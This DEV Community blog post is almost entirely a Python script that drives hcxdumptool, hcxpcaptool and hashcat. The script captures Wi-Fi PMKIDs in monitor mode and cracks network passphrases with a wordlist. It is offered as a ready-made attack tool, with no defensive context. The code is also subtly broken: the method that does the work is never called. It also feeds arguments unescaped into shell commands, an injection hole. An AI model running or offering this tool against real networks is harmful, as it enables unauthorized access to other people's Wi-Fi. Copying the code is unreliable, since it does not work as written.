DEV Community

Austin
Austin

Posted on • Edited on

Autonomous PMK scanner and cracker.

PMK Scanner and Cracker in Python

#!/usr/bin/python3

import os
import sys
import argparse
import time

class getPMKID:
    def __init__(self,iface,output,wordlist):
        self.iface = iface
        self.output = output
        self.wordlist = wordlist

    def main(self):
        if self.iface is None or self.output is None or self.wordlist is None:
            print('arguments must not be blank')
            sys.exit(0)

        print('MAKE SURE TO BE IN MONITOR MODE AND CHANGE OUTPUT NAME IF CODE IS RUN MULTIPLE TIMES IN THE SAME DIRECTORY...')
        time.sleep(3)
        print('creating pcapng.... press ctrl-c to stop captures')
        os.system(f'hcxdumptool -i {self.iface} -o {self.output}.pcapng --enable_status=1')
        print('generating essid list and hash list...')
        os.system(f'hcxpcaptool -E essidlist -I identitylist -U usernamelist -z {self.output}.16800 {self.output}.pcapng')
        print('done ...')
        os.system(f'hashcat -m 16800 {self.output}.16800 -o {self.output}_cracked.txt -a 0 -w 4 --force "{self.wordlist}"')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-i',dest="interface")
    parser.add_argument('-o',dest="output")
    parser.add_argument('-w',dest="wordlist")

    args = parser.parse_args()

    bot = getPMKID(args.interface,args.output,args.wordlist)
    print('Cracking PMKID')



Enter fullscreen mode Exit fullscreen mode

Top comments (0)